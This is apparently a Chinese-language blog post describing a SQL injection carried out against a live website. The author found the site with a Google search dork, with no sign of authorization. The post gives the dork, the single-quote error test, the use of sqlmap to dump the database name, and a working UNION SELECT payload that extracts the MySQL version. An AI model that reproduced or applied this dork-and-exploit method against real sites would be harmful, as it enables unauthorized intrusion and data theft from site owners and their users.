一次SQL注入实战记录

一、在Google浏览器用inurl搜索语法寻找目标

inrul:productInfo.php?id=

二、随便点开几个连接,目标出现了

给id参数加单引号',页面不正常了,在上方还出现了查询报错的相关信息,相关信息还给出了数据库是MySQL。

三、使用sqlmap进行扫描

经过小小的等待,有收获了,爆出了数据库名。

根据sqlmap的给出paylaod可以进行SQL注入,改变concat函数的参数就可以了手工利用了,如下payload可以爆出数据库版本:

-8444%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(VERSION(),0x41756942736671524472427366534f54644f42527170684356664c43775571656253554978616557,0x716a626271),NULL,NULL,NULL,NULL,NULL,NULL--%20-

concat函数的三个参数都是可以回显利用的。

到这里SQL注入已经完成了,点到为止。


若有错误,欢迎指正!o( ̄▽ ̄)ブ

热门相关:弃妇种田忙   纨绔仙医   前夫有毒:1000万夺子契约   战神小农民   福晋有喜:四爷,宠上天!